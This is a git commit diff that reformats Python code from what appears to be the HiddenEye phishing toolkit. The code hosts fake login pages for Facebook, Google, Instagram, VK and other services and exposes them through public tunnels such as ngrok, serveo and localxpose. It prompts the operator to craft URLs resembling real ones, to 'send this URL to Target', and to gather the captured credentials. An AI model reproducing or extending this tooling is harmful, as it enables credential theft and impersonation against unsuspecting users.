Restyled by black

This commit is contained in:
Restyled.io 2020-08-13 10:29:52 +00:00
parent f1d4c0e2fe
commit 78d0b08267
17 changed files with 807 additions and 593 deletions

View File

@ -81,9 +81,9 @@ def set_php(host="127.0.0.1", port=80):
def set_port(port=80): def set_port(port=80):
run_background_command(["fuser", "-k", "{0}/tcp".format(port)], run_background_command(
stdout=DEVNULL, ["fuser", "-k", "{0}/tcp".format(port)], stdout=DEVNULL, stderr=DEVNULL
stderr=DEVNULL) )
def start_server(port=80): def start_server(port=80):
@ -103,8 +103,10 @@ def start_localhost(port):
set_port() set_port()
set_php(host, port) set_php(host, port)
print(localization.lang_start_localhost["starting_server_on_addr"] + print(
"{0}:{1}".format(host, port)) localization.lang_start_localhost["starting_server_on_addr"]
+ "{0}:{1}".format(host, port)
)
run_command("clear") run_command("clear")
print(global_localization.hidden_eye_logo) print(global_localization.hidden_eye_logo)
@ -114,8 +116,10 @@ def start_localhost(port):
print(localization.lang_start_localhost["running_localhost_server"]) print(localization.lang_start_localhost["running_localhost_server"])
print(localization.lang_start_localhost["send_this_url_suggestion"]) print(localization.lang_start_localhost["send_this_url_suggestion"])
print(localization.lang_start_localhost["localhost_url"] + print(
"{0}:{1}\n".format(host, port)) localization.lang_start_localhost["localhost_url"]
+ "{0}:{1}\n".format(host, port)
)
def start_ngrok(port): def start_ngrok(port):
@ -132,13 +136,12 @@ def start_ngrok(port):
wait(2) wait(2)
ngrok_tunnels = ngrok.get_tunnels() ngrok_tunnels = ngrok.get_tunnels()
url = ngrok_tunnels[0].public_url url = ngrok_tunnels[0].public_url
if regular_expression.match("https://[0-9a-z]*\.ngrok.io", if regular_expression.match("https://[0-9a-z]*\.ngrok.io", url) is not None:
url) is not None:
print(localization.lang_start_ngrok["send_this_url_suggestion"]) print(localization.lang_start_ngrok["send_this_url_suggestion"])
print(localization.lang_start_localhost["localhost_url"] + print(
"127.0.0.1:" + port) localization.lang_start_localhost["localhost_url"] + "127.0.0.1:" + port
print(localization.lang_start_ngrok["ngrok_url"] + url + )
default_palette[4]) print(localization.lang_start_ngrok["ngrok_url"] + url + default_palette[4])
break break
@ -175,14 +178,17 @@ def start_serveo(port):
) )
wait(8) wait(8)
try: try:
output = check_output("grep -o '.\{0,0\}http.\{0,100\}' link.url", output = check_output(
shell=True) "grep -o '.\{0,0\}http.\{0,100\}' link.url", shell=True
)
url = output.decode("utf-8") url = output.decode("utf-8")
print(localization.lang_start_serveo["send_this_url_suggestion"]) print(localization.lang_start_serveo["send_this_url_suggestion"])
print(localization.lang_start_localhost["localhost_url"] + print(
"127.0.0.1:" + port) localization.lang_start_localhost["localhost_url"] + "127.0.0.1:" + port
print(localization.lang_start_serveo["serveo_url"] + url + )
default_palette[4]) print(
localization.lang_start_serveo["serveo_url"] + url + default_palette[4]
)
except CalledProcessError: except CalledProcessError:
wait(4) wait(4)
run_command("clear") run_command("clear")
@ -194,8 +200,7 @@ def start_serveo(port):
print(global_localization.by_darksec) print(global_localization.by_darksec)
print(global_localization.line_of_dots) print(global_localization.line_of_dots)
print(localization.lang_start_serveo["serveo_custom_server"]) print(localization.lang_start_serveo["serveo_custom_server"])
print(localization. print(localization.lang_start_serveo["make_url_simmilar_to_real_suggestion"])
lang_start_serveo["make_url_simmilar_to_real_suggestion"])
print(localization.lang_start_serveo["insert_custom_subdomain"]) print(localization.lang_start_serveo["insert_custom_subdomain"])
lnk = input(global_localization.input_line) lnk = input(global_localization.input_line)
run_background_command( run_background_command(
@ -226,18 +231,19 @@ def start_serveo(port):
print(global_localization.line_of_dots) print(global_localization.line_of_dots)
print(localization.lang_start_serveo["serveo_custom_server"]) print(localization.lang_start_serveo["serveo_custom_server"])
print(localization.lang_start_serveo["send_this_url_suggestion"]) print(localization.lang_start_serveo["send_this_url_suggestion"])
print(localization.lang_start_localhost["localhost_url"] + print(
"127.0.0.1:" + port) localization.lang_start_localhost["localhost_url"] + "127.0.0.1:" + port
print(localization.lang_start_serveo["serveo_url"] + lnk + )
default_palette[4]) print(
localization.lang_start_serveo["serveo_url"] + lnk + default_palette[4]
)
print("\n") print("\n")
except CalledProcessError: except CalledProcessError:
print(localization.lang_start_serveo["failed_to_get_domain"]) print(localization.lang_start_serveo["failed_to_get_domain"])
print(localization.lang_start_serveo["suggestion_to_fix_issue"]) print(localization.lang_start_serveo["suggestion_to_fix_issue"])
print(localization. print(localization.lang_start_serveo["you_can_try_to_select_other_domain"])
lang_start_serveo["you_can_try_to_select_other_domain"])
wait(4) wait(4)
run_command("clear") run_command("clear")
return custom(port) return custom(port)
@ -280,12 +286,12 @@ def start_localxpose(port):
pass pass
else: else:
if simple_informant.check_platform( if simple_informant.check_platform(
"system") == "Linux" and simple_informant.check_platform( "system"
"architecture" is "x86_64"): ) == "Linux" and simple_informant.check_platform("architecture" is "x86_64"):
localxpose_url = "https://lxpdownloads.sgp1.digitaloceanspaces.com/cli/loclx-linux-amd64.zip" localxpose_url = "https://lxpdownloads.sgp1.digitaloceanspaces.com/cli/loclx-linux-amd64.zip"
elif simple_informant.check_platform( elif simple_informant.check_platform(
"system") == "Linux" and simple_informant.check_platform( "system"
"architecture" is "aarch64"): ) == "Linux" and simple_informant.check_platform("architecture" is "aarch64"):
localxpose_url = "https://lxpdownloads.sgp1.digitaloceanspaces.com/cli/loclx-linux-arm64.zip" localxpose_url = "https://lxpdownloads.sgp1.digitaloceanspaces.com/cli/loclx-linux-arm64.zip"
with url_request.urlopen(localxpose_url) as loclxzip: with url_request.urlopen(localxpose_url) as loclxzip:
with ZipFile(BytesIO(loclxzip.read())) as zip_file: with ZipFile(BytesIO(loclxzip.read())) as zip_file:
@ -313,18 +319,20 @@ def start_localxpose(port):
stderr=DEVNULL, stderr=DEVNULL,
) )
try: try:
output = check_output("grep -o '.\{0,0\}https.\{0,100\}' link.url", output = check_output(
shell=True) "grep -o '.\{0,0\}https.\{0,100\}' link.url", shell=True
)
url = output.decode("utf-8") url = output.decode("utf-8")
print( print(
"\n{0}[{1}!{0}]{1} SEND THIS LOCALXPOSE URL TO Target-\n\n{0}[{1}*{0}]{1} Localhost URL: {2}http://127.0.0.1:{3}\n{0}[{1}*{0}]{1} LOCALXPOSE URL: {2}{4}{1}" "\n{0}[{1}!{0}]{1} SEND THIS LOCALXPOSE URL TO Target-\n\n{0}[{1}*{0}]{1} Localhost URL: {2}http://127.0.0.1:{3}\n{0}[{1}*{0}]{1} LOCALXPOSE URL: {2}{4}{1}".format(
.format(
default_palette[0], default_palette[0],
default_palette[4], default_palette[4],
default_palette[3], default_palette[3],
port, port,
url, url,
) + "{0}".format(default_palette[4])) )
+ "{0}".format(default_palette[4])
)
print("\n") print("\n")
except CalledProcessError: except CalledProcessError:
@ -335,56 +343,79 @@ def start_localxpose(port):
def custom(port): def custom(port):
print(global_localization.small_logo) print(global_localization.small_logo)
print("""\n\n-------------------------------\n{0}[ CREATE A CUSTOM URL HERE ]{1}!! {0}\n-------------------------------\n\n{0}[{1}!{0}]{1} YOU CAN MAKE YOUR URL SIMILAR TO AUTHENTIC URL.\n\n{0}Insert a custom subdomain for Localxpose(Ex: mysubdomain)""" print(
.format(default_palette[0], default_palette[2])) """\n\n-------------------------------\n{0}[ CREATE A CUSTOM URL HERE ]{1}!! {0}\n-------------------------------\n\n{0}[{1}!{0}]{1} YOU CAN MAKE YOUR URL SIMILAR TO AUTHENTIC URL.\n\n{0}Insert a custom subdomain for Localxpose(Ex: mysubdomain)""".format(
lnk = input("\n{0}CUSTOM Subdomain>>> {1}".format( default_palette[0], default_palette[2]
default_palette[0], default_palette[2])) )
)
lnk = input(
"\n{0}CUSTOM Subdomain>>> {1}".format(
default_palette[0], default_palette[2]
)
)
run_command( run_command(
"./Server/loclx tunnel http --to :%s --subdomain %s > link.url 2> /dev/null &" "./Server/loclx tunnel http --to :%s --subdomain %s > link.url 2> /dev/null &"
% (port, lnk)) % (port, lnk)
)
wait(7) wait(7)
try: try:
output = check_output("grep -o '.\{0,0\}https.\{0,100\}' link.url", output = check_output(
shell=True) "grep -o '.\{0,0\}https.\{0,100\}' link.url", shell=True
)
url = output.decode("utf-8") url = output.decode("utf-8")
run_command("clear") run_command("clear")
print(""" print(
"""
{1}_ _ . ___ ___ ___ _ _ {0}___ _ _ ___{1} {1}_ _ . ___ ___ ___ _ _ {0}___ _ _ ___{1}
|__| | ] | ] | |__ |\ | {0}|__ \__/ |__{1} |__| | ] | ] | |__ |\ | {0}|__ \__/ |__{1}
| | | ]__| ]__| |__ | \| {0}|__ || |__{1} | | | ]__| ]__| |__ | \| {0}|__ || |__{1}
{0}http://github.com/darksecdevelopers {0}http://github.com/darksecdevelopers
{0}** BY:DARKSEC \n\n-------------------------------\n{0}[ CUSTOM SERVEO URL ]{1}!! {0}\n-------------------------------""" {0}** BY:DARKSEC \n\n-------------------------------\n{0}[ CUSTOM SERVEO URL ]{1}!! {0}\n-------------------------------""".format(
.format(default_palette[0], default_palette[2])) default_palette[0], default_palette[2]
)
)
print( print(
"\n{0}[{1}!{0}]{1} SEND THIS LOCALXPOSE URL TO Target-\n{0}[{1}*{0}]{1} Localhost URL: {2}http://127.0.0.1:{3}\n{0}[{1}*{0}]{1} LOCALXPOSE URL: {2}" "\n{0}[{1}!{0}]{1} SEND THIS LOCALXPOSE URL TO Target-\n{0}[{1}*{0}]{1} Localhost URL: {2}http://127.0.0.1:{3}\n{0}[{1}*{0}]{1} LOCALXPOSE URL: {2}".format(
.format(default_palette[0], default_palette[2], default_palette[0], default_palette[2], default_palette[3], port
default_palette[3], port) + url + )
"{0}".format(default_palette[4])) + url
+ "{0}".format(default_palette[4])
)
print("\n") print("\n")
except CalledProcessError: except CalledProcessError:
print( print(
"""\n\n{0}FAILED TO GET THIS DOMAIN. !!!\n\n{0}LOOKS LIKE CUSTOM URL IS NOT VALID or ALREADY OCCUPIED BY SOMEONE ELSE. !!!\n\n{0}[{1}!{0}]TRY TO SELECT ANOTHER CUSTOM DOMAIN{1} (GOING BACK).. !! \n""" """\n\n{0}FAILED TO GET THIS DOMAIN. !!!\n\n{0}LOOKS LIKE CUSTOM URL IS NOT VALID or ALREADY OCCUPIED BY SOMEONE ELSE. !!!\n\n{0}[{1}!{0}]TRY TO SELECT ANOTHER CUSTOM DOMAIN{1} (GOING BACK).. !! \n""".format(
.format(default_palette[0], default_palette[4])) default_palette[0], default_palette[4]
)
)
wait(4) wait(4)
run_command("clear") run_command("clear")
return custom(port) return custom(port)
print(""" print(
"""
{1}_ _ . ___ ___ ___ _ _ {0}___ _ _ ___{1} {1}_ _ . ___ ___ ___ _ _ {0}___ _ _ ___{1}
|__| | ] | ] | |__ |\ | {0}|__ \__/ |__{1} |__| | ] | ] | |__ |\ | {0}|__ \__/ |__{1}
| | | ]__| ]__| |__ | \| {0}|__ || |__{1} | | | ]__| ]__| |__ | \| {0}|__ || |__{1}
{0}http://github.com/darksecdevelopers {0}http://github.com/darksecdevelopers
{0}** BY:DARKSEC ** \n\n-------------------------------\n{0}[ LOCALXPOSE URL TYPE SELECTION ]{1}!! {0}\n-------------------------------\n""" {0}** BY:DARKSEC ** \n\n-------------------------------\n{0}[ LOCALXPOSE URL TYPE SELECTION ]{1}!! {0}\n-------------------------------\n""".format(
.format(default_palette[0], default_palette[2])) default_palette[0], default_palette[2]
)
)
print( print(
"\n{0}[{1}*{0}]{0}CHOOSE ANY LOCALXPOSE URL TYPE TO GENERATE PHISHING LINK:{1}" "\n{0}[{1}*{0}]{0}CHOOSE ANY LOCALXPOSE URL TYPE TO GENERATE PHISHING LINK:{1}".format(
.format(default_palette[0], default_palette[2])) default_palette[0], default_palette[2]
)
)
print( print(
"\n{0}[{1}1{0}]{1}Custom URL {0}(Generates designed url) \n{0}[{1}2{0}]{1}Random URL {0}(Generates Random url)" "\n{0}[{1}1{0}]{1}Custom URL {0}(Generates designed url) \n{0}[{1}2{0}]{1}Random URL {0}(Generates Random url)".format(
.format(default_palette[0], default_palette[2])) default_palette[0], default_palette[2]
choice = input("\n\n{0}YOUR CHOICE >>> {1}".format(default_palette[0], )
default_palette[2])) )
choice = input(
"\n\n{0}YOUR CHOICE >>> {1}".format(default_palette[0], default_palette[2])
)
run_command("clear") run_command("clear")
if choice == "1": if choice == "1":
@ -398,52 +429,75 @@ def start_localxpose(port):
def start_localtunnel(port, npm): def start_localtunnel(port, npm):
run_command("clear") run_command("clear")
print(""" print(
"""
{1}_ _ . ___ ___ ___ _ _ {0}___ _ _ ___{1} {1}_ _ . ___ ___ ___ _ _ {0}___ _ _ ___{1}
|__| | ] | ] | |__ |\ | {0}|__ \__/ |__{1} |__| | ] | ] | |__ |\ | {0}|__ \__/ |__{1}
| | | ]__| ]__| |__ | \| {0}|__ || |__{1} | | | ]__| ]__| |__ | \| {0}|__ || |__{1}
{0}http://github.com/darksecdevelopers {0}http://github.com/darksecdevelopers
{0}** BY:DARKSEC ** \n\n-------------------------------\n{0}[ LOCALTUNNEL URL ]{1}!! {0}\n-------------------------------""" {0}** BY:DARKSEC ** \n\n-------------------------------\n{0}[ LOCALTUNNEL URL ]{1}!! {0}\n-------------------------------""".format(
.format(default_palette[0], default_palette[2])) default_palette[0], default_palette[2]
print("\n{0}[{1}*{0}]{0}SELECT ANY URL TYPE TO GENERATE PHISHING LINK:{1}". )
format(default_palette[0], default_palette[2])) )
print( print(
"\n{0}[{1}+{0}]{1}Type Subdomain for Custom URL. \n{0}[{1}+{0}]{1}Leave Empty For Random URL" "\n{0}[{1}*{0}]{0}SELECT ANY URL TYPE TO GENERATE PHISHING LINK:{1}".format(
.format(default_palette[0], default_palette[2])) default_palette[0], default_palette[2]
s = input("\n{0}(Localtunnel/Subdomain)> {1}".format( )
default_palette[0], default_palette[2])) )
print(
"\n{0}[{1}+{0}]{1}Type Subdomain for Custom URL. \n{0}[{1}+{0}]{1}Leave Empty For Random URL".format(
default_palette[0], default_palette[2]
)
)
s = input(
"\n{0}(Localtunnel/Subdomain)> {1}".format(
default_palette[0], default_palette[2]
)
)
try: try:
run_command("{0}lt -p ".format("" if npm else "Server/") + port + run_command(
((" -s " + s) if s != "" else s) + " > link.url &") "{0}lt -p ".format("" if npm else "Server/")
+ port
+ ((" -s " + s) if s != "" else s)
+ " > link.url &"
)
wait(3) wait(3)
run_command("clear") run_command("clear")
print(""" print(
"""
{1}_ _ . ___ ___ ___ _ _ {0}___ _ _ ___{1} {1}_ _ . ___ ___ ___ _ _ {0}___ _ _ ___{1}
|__| | ] | ] | |__ |\ | {0}|__ \__/ |__{1} |__| | ] | ] | |__ |\ | {0}|__ \__/ |__{1}
| | | ]__| ]__| |__ | \| {0}|__ || |__{1} | | | ]__| ]__| |__ | \| {0}|__ || |__{1}
{0}http://github.com/darksecdevelopers {0}http://github.com/darksecdevelopers
{0}** BY:DARKSEC ** \n\n-------------------------------\n{0}[ LOCALTUNNEL URL ]{1}!! {0}\n-------------------------------""" {0}** BY:DARKSEC ** \n\n-------------------------------\n{0}[ LOCALTUNNEL URL ]{1}!! {0}\n-------------------------------""".format(
.format(default_palette[0], default_palette[2])) default_palette[0], default_palette[2]
)
)
print( print(
"\n{0}[{1}!{0}]{1} SEND THIS SERVEO URL TO Target-\n\n{0}[{1}*{0}]{1} Localhost URL: {2}http://127.0.0.1:{3}\n{0}[{1}*{0}]{1} LOCALTUNNEL URL: {2}{4}" "\n{0}[{1}!{0}]{1} SEND THIS SERVEO URL TO Target-\n\n{0}[{1}*{0}]{1} Localhost URL: {2}http://127.0.0.1:{3}\n{0}[{1}*{0}]{1} LOCALTUNNEL URL: {2}{4}".format(
.format(
default_palette[0], default_palette[0],
default_palette[2], default_palette[2],
default_palette[3], default_palette[3],
port, port,
str( str(
check_output("grep -o '.\{0,0\}https.\{0,100\}' link.url", check_output(
shell=True)).strip("b ' \ n r"), "grep -o '.\{0,0\}https.\{0,100\}' link.url", shell=True
)) )
).strip("b ' \ n r"),
)
)
except CalledProcessError: except CalledProcessError:
run_command("clear") run_command("clear")
print(""" print(
"""
{1}_ _ . ___ ___ ___ _ _ {0}___ _ _ ___{1} {1}_ _ . ___ ___ ___ _ _ {0}___ _ _ ___{1}
|__| | ] | ] | |__ |\ | {0}|__ \__/ |__{1} |__| | ] | ] | |__ |\ | {0}|__ \__/ |__{1}
| | | ]__| ]__| |__ | \| {0}|__ || |__{1} | | | ]__| ]__| |__ | \| {0}|__ || |__{1}
{0}http://github.com/darksecdevelopers {0}http://github.com/darksecdevelopers
{0}** BY:DARKSEC ** \n\n-------------------------------\n{0}[ LOCALTUNNEL URL ]{1}!! {0}\n-------------------------------""" {0}** BY:DARKSEC ** \n\n-------------------------------\n{0}[ LOCALTUNNEL URL ]{1}!! {0}\n-------------------------------""".format(
.format(default_palette[0], default_palette[2])) default_palette[0], default_palette[2]
)
)
print("{0}error[invalid/preoccupied]{0}".format(default_palette[0])) print("{0}error[invalid/preoccupied]{0}".format(default_palette[0]))
start_localtunnel(port, npm) start_localtunnel(port, npm)
@ -455,68 +509,95 @@ def start_openport(port):
run_command("rm output.txt > /dev/null 2>&1") run_command("rm output.txt > /dev/null 2>&1")
run_command("openport -K && openport %s > output.txt &" % (port)) run_command("openport -K && openport %s > output.txt &" % (port))
print( print(
"{0}[{1}*{0}] {1}Openport Server Running in Background.. Please wait." "{0}[{1}*{0}] {1}Openport Server Running in Background.. Please wait.".format(
.format(default_palette[0], default_palette[4])) default_palette[0], default_palette[4]
)
)
# Sleep time is important as the openport command takes some time to give response link. # Sleep time is important as the openport command takes some time to give response link.
wait(20) wait(20)
run_command( run_command(
'cat output.txt | grep -Eo "(http|https)://[a-zA-Z0-9./?=_-]*" | sort -u | grep -v https://openport.io/user > openport.txt' 'cat output.txt | grep -Eo "(http|https)://[a-zA-Z0-9./?=_-]*" | sort -u | grep -v https://openport.io/user > openport.txt'
) # Taking out the neccesary verification link from output txt file of openport (above). ) # Taking out the neccesary verification link from output txt file of openport (above).
print( print(
"{0}[{1}*{0}] {1}Working To Get OpenPort Tunnel Activation Link..." "{0}[{1}*{0}] {1}Working To Get OpenPort Tunnel Activation Link...".format(
.format(default_palette[0], default_palette[4])) default_palette[0], default_palette[4]
)
)
with open("openport.txt") as f: with open("openport.txt") as f:
read_data = f.read() read_data = f.read()
if "openport.io/l/" in read_data: if "openport.io/l/" in read_data:
print("{0}[{1}*{0}] {1}Got Activation Link...".format( print(
default_palette[0], default_palette[4])) "{0}[{1}*{0}] {1}Got Activation Link...".format(
default_palette[0], default_palette[4]
)
)
else: else:
print( print(
"{0}[{1}^{0}] {1}Failed To Get Openport Activation Link... " "{0}[{1}^{0}] {1}Failed To Get Openport Activation Link... ".format(
.format(default_palette[0], default_palette[4])) default_palette[0], default_palette[4]
)
)
output = open("output.txt", "r") output = open("output.txt", "r")
output = output.read() output = output.read()
print("{0}[{1}!{0}] {1}Openport Error:\n\n{2}".format( print(
default_palette[0], default_palette[4], output)) "{0}[{1}!{0}] {1}Openport Error:\n\n{2}".format(
input("\n\n{0}[{1}*{0}] {1}Try Other Tunnels... (Press Enter)". default_palette[0], default_palette[4], output
format(default_palette[0], default_palette[4])) )
)
input(
"\n\n{0}[{1}*{0}] {1}Try Other Tunnels... (Press Enter)".format(
default_palette[0], default_palette[4]
)
)
server_selection(port) server_selection(port)
urlFile = open("openport.txt", "r") urlFile = open("openport.txt", "r")
urltoverify = urlFile.read().strip() urltoverify = urlFile.read().strip()
print( print(
"{0}[{1}*{0}] {1}Open This Activation Link From Browser to Get Tunnel Link...\n" "{0}[{1}*{0}] {1}Open This Activation Link From Browser to Get Tunnel Link...\n".format(
.format(default_palette[0], default_palette[4])) default_palette[0], default_palette[4]
print("{0}[{1}*{0}] {1}Tunnel Activation Link:{0}{2} ".format( )
default_palette[0], default_palette[4], urltoverify)) )
print(
"{0}[{1}*{0}] {1}Tunnel Activation Link:{0}{2} ".format(
default_palette[0], default_palette[4], urltoverify
)
)
url = input( url = input(
"\n\n{0}[{1}*{0}] {1}Enter The Tunnel Link Found in Browser: {0} ". "\n\n{0}[{1}*{0}] {1}Enter The Tunnel Link Found in Browser: {0} ".format(
format(default_palette[0], default_palette[4])) default_palette[0], default_palette[4]
)
)
wait(4) wait(4)
run_command("clear") run_command("clear")
print(""" print(
"""
{1}_ _ . ___ ___ ___ _ _ {0}___ _ _ ___{1} {1}_ _ . ___ ___ ___ _ _ {0}___ _ _ ___{1}
|__| | ] | ] | |__ |\ | {0}|__ \__/ |__{1} |__| | ] | ] | |__ |\ | {0}|__ \__/ |__{1}
| | | ]__| ]__| |__ | \| {0}|__ || |__{1} | | | ]__| ]__| |__ | \| {0}|__ || |__{1}
{0}http://github.com/darksecdevelopers {0}http://github.com/darksecdevelopers
{0}** BY:DARKSEC ** \n\n-------------------------------\n{0}[ OPENPORT SERVER ]{1}!! {0}\n-------------------------------""" {0}** BY:DARKSEC ** \n\n-------------------------------\n{0}[ OPENPORT SERVER ]{1}!! {0}\n-------------------------------""".format(
.format(default_palette[0], default_palette[4])) default_palette[0], default_palette[4]
)
)
print( print(
"\n{0}[{1}!{0}]{1} SEND THIS OPENPORT URL TO Target-\n{0}[{1}*{0}]{1} Localhost URL: {2}http://127.0.0.1:{3}\n{0}[{1}*{0}]{1} OPENPORT URL: {2}{4}\n" "\n{0}[{1}!{0}]{1} SEND THIS OPENPORT URL TO Target-\n{0}[{1}*{0}]{1} Localhost URL: {2}http://127.0.0.1:{3}\n{0}[{1}*{0}]{1} OPENPORT URL: {2}{4}\n".format(
.format(default_palette[0], default_palette[4], default_palette[3], default_palette[0], default_palette[4], default_palette[3], port, url
port, url)) )
)
print("""{1}_ _ . ___ ___ ___ _ _ {0}___ _ _ ___{1} print(
"""{1}_ _ . ___ ___ ___ _ _ {0}___ _ _ ___{1}
|__| | ] | ] | |__ |\ | {0}|__ \__/ |__{1} |__| | ] | ] | |__ |\ | {0}|__ \__/ |__{1}
| | | ]__| ]__| |__ | \| {0}|__ || |__{1} | | | ]__| ]__| |__ | \| {0}|__ || |__{1}
{0}http://github.com/darksecdevelopers {0}http://github.com/darksecdevelopers
{0}** BY:DARKSEC ** \n\n-------------------------------\n{0}[ OPENPORT SERVER ]{1}!! {0}\n-------------------------------""" {0}** BY:DARKSEC ** \n\n-------------------------------\n{0}[ OPENPORT SERVER ]{1}!! {0}\n-------------------------------""".format(
.format(default_palette[0], default_palette[2])) default_palette[0], default_palette[2]
)
)
if 256 == run_command("which openport > /dev/null"): if 256 == run_command("which openport > /dev/null"):
run_command("clear") run_command("clear")
print( print("[*] Openport not Installed correctly, Try installing it manually !!")
"[*] Openport not Installed correctly, Try installing it manually !!"
)
print("[*] Check Here ... https://openport.io/download") print("[*] Check Here ... https://openport.io/download")
input("\n Press Enter To Go back..") input("\n Press Enter To Go back..")
server_selection(port) server_selection(port)
@ -528,13 +609,16 @@ def start_pagekite(port):
from Defs.ActionManager.simple_informant import credentials_collector from Defs.ActionManager.simple_informant import credentials_collector
run_command("clear") run_command("clear")
print(""" print(
"""
{1}_ _ . ___ ___ ___ _ _ {0}___ _ _ ___{1} {1}_ _ . ___ ___ ___ _ _ {0}___ _ _ ___{1}
|__| | ] | ] | |__ |\ | {0}|__ \__/ |__{1} |__| | ] | ] | |__ |\ | {0}|__ \__/ |__{1}
| | | ]__| ]__| |__ | \| {0}|__ || |__{1} | | | ]__| ]__| |__ | \| {0}|__ || |__{1}
{0}http://github.com/darksecdevelopers {0}http://github.com/darksecdevelopers
{0}** BY:DARKSEC ** \n\n-------------------------------\n{0}[ PAGEKITE SERVER ]{1}!! {0}\n-------------------------------""" {0}** BY:DARKSEC ** \n\n-------------------------------\n{0}[ PAGEKITE SERVER ]{1}!! {0}\n-------------------------------""".format(
.format(default_palette[0], default_palette[2])) default_palette[0], default_palette[2]
)
)
if 256 == run_command("which python2 > /dev/null"): if 256 == run_command("which python2 > /dev/null"):
print("[*] Python2 not Installed, Pagekite Only Supports Python2!!") print("[*] Python2 not Installed, Pagekite Only Supports Python2!!")
input("\n Press Enter To Try installing Python2 Now..") input("\n Press Enter To Try installing Python2 Now..")
@ -542,8 +626,10 @@ def start_pagekite(port):
if 256 == run_command("which python2 > /dev/null"): if 256 == run_command("which python2 > /dev/null"):
run_command("clear") run_command("clear")
print( print(
"\n{0}[{1}*{0}] {1}FAILED TO INSTALL PYTHON2 (TRY MANUALLY)..{1}" "\n{0}[{1}*{0}] {1}FAILED TO INSTALL PYTHON2 (TRY MANUALLY)..{1}".format(
.format(default_palette[0], default_palette[4])) default_palette[0], default_palette[4]
)
)
wait(2) wait(2)
server_selection(port) server_selection(port)
else: else:
@ -551,28 +637,45 @@ def start_pagekite(port):
else: else:
try: try:
subdomain = input( subdomain = input(
"\n{0}[{1}*{0}] {0}Enter A Custom Subdomain Ex.(yourname):\n{0}Custom Subdomain>>> {1}" "\n{0}[{1}*{0}] {0}Enter A Custom Subdomain Ex.(yourname):\n{0}Custom Subdomain>>> {1}".format(
.format(default_palette[0], default_palette[2])) default_palette[0], default_palette[2]
)
)
print( print(
"\n{0}[{1}*{0}] {1}Use Temporary Email Services(Don't Harm Anyone).{1}" "\n{0}[{1}*{0}] {1}Use Temporary Email Services(Don't Harm Anyone).{1}".format(
.format(default_palette[0], default_palette[4])) default_palette[0], default_palette[4]
)
)
print( print(
"{0}[{1}*{0}] {1}Sometime Email verification Required by Pagekite(Stay Alert){1}" "{0}[{1}*{0}] {1}Sometime Email verification Required by Pagekite(Stay Alert){1}".format(
.format(default_palette[0], default_palette[4])) default_palette[0], default_palette[4]
)
)
print( print(
"{0}[{1}*{0}] {1}You can also get various subdomain assigned to your subdomain.{1}" "{0}[{1}*{0}] {1}You can also get various subdomain assigned to your subdomain.{1}".format(
.format(default_palette[0], default_palette[4])) default_palette[0], default_palette[4]
)
)
print( print(
"{0}[{1}*{0}] {1}Check Control Panel Of pagekite at https://pagekite.net/ .{1}" "{0}[{1}*{0}] {1}Check Control Panel Of pagekite at https://pagekite.net/ .{1}".format(
.format(default_palette[0], default_palette[4])) default_palette[0], default_palette[4]
)
)
print( print(
"{0}[{1}*{0}] {1}We are Ready to Launch Pagekite.Press CTRL+C Whenever Need captured Data.{1}" "{0}[{1}*{0}] {1}We are Ready to Launch Pagekite.Press CTRL+C Whenever Need captured Data.{1}".format(
.format(default_palette[0], default_palette[4])) default_palette[0], default_palette[4]
input("\n{0}[{1}*{0}] {0}Press Enter To Launch The Pagekite...{1}". )
format(default_palette[0], default_palette[4])) )
input(
"\n{0}[{1}*{0}] {0}Press Enter To Launch The Pagekite...{1}".format(
default_palette[0], default_palette[4]
)
)
run_command( run_command(
"python2 Server/pagekite.py --clean --signup {0} {1}.pagekite.me" "python2 Server/pagekite.py --clean --signup {0} {1}.pagekite.me".format(
.format(port, subdomain)) port, subdomain
)
)
except KeyboardInterrupt: except KeyboardInterrupt:
print("[!] Please Copy the Generated Link For Further Use") print("[!] Please Copy the Generated Link For Further Use")
credentials_collector(port) credentials_collector(port)

View File

@ -32,11 +32,9 @@ def start_main_menu():
print(localization.lang_start_main_menu["down_line"]) print(localization.lang_start_main_menu["down_line"])
print(localization.lang_start_main_menu["attack_vector_message"]) print(localization.lang_start_main_menu["attack_vector_message"])
print(localization.lang_start_main_menu["phishing_modules_header"]) print(localization.lang_start_main_menu["phishing_modules_header"])
print_sorted_as_menu( print_sorted_as_menu(localization.lang_start_main_menu["phishing_modules_list"])
localization.lang_start_main_menu["phishing_modules_list"])
print(localization.lang_start_main_menu["additional_modules"]) print(localization.lang_start_main_menu["additional_modules"])
print_sorted_as_menu( print_sorted_as_menu(localization.lang_start_main_menu["additional_modules_list"])
localization.lang_start_main_menu["additional_modules_list"])
option = input(global_localization.input_line) option = input(global_localization.input_line)
option = option.zfill(2) option = option.zfill(2)
@ -44,14 +42,16 @@ def start_main_menu():
module_loading_message("Facebook") module_loading_message("Facebook")
print(localization.lang_start_main_menu["operation_mode"]) print(localization.lang_start_main_menu["operation_mode"])
print_sorted_as_menu( print_sorted_as_menu(
localization.lang_start_main_menu["facebook_operation_modes"]) localization.lang_start_main_menu["facebook_operation_modes"]
)
custom_option = input(global_localization.input_line) custom_option = input(global_localization.input_line)
start_phishing_page("Facebook", custom_option) start_phishing_page("Facebook", custom_option)
elif option == "02": elif option == "02":
module_loading_message("Google") module_loading_message("Google")
print(localization.lang_start_main_menu["operation_mode"]) print(localization.lang_start_main_menu["operation_mode"])
print_sorted_as_menu( print_sorted_as_menu(
localization.lang_start_main_menu["google_operation_modes"]) localization.lang_start_main_menu["google_operation_modes"]
)
custom_option = input(global_localization.input_line) custom_option = input(global_localization.input_line)
start_phishing_page("Google", custom_option) start_phishing_page("Google", custom_option)
elif option == "03": elif option == "03":
@ -78,7 +78,8 @@ def start_main_menu():
module_loading_message("Instagram") module_loading_message("Instagram")
print(localization.lang_start_main_menu["operation_mode"]) print(localization.lang_start_main_menu["operation_mode"])
print_sorted_as_menu( print_sorted_as_menu(
localization.lang_start_main_menu["instagram_operation_modes"]) localization.lang_start_main_menu["instagram_operation_modes"]
)
custom_option = input(global_localization.input_line) custom_option = input(global_localization.input_line)
start_phishing_page("Instagram", custom_option) start_phishing_page("Instagram", custom_option)
elif option == "09": elif option == "09":
@ -104,8 +105,7 @@ def start_main_menu():
elif option == "14": elif option == "14":
module_loading_message("VK") module_loading_message("VK")
print(localization.lang_start_main_menu["operation_mode"]) print(localization.lang_start_main_menu["operation_mode"])
print_sorted_as_menu( print_sorted_as_menu(localization.lang_start_main_menu["VK_operation_modes"])
localization.lang_start_main_menu["VK_operation_modes"])
custom_option = input(global_localization.input_line) custom_option = input(global_localization.input_line)
start_phishing_page("VK", custom_option) start_phishing_page("VK", custom_option)
elif option == "15": elif option == "15":
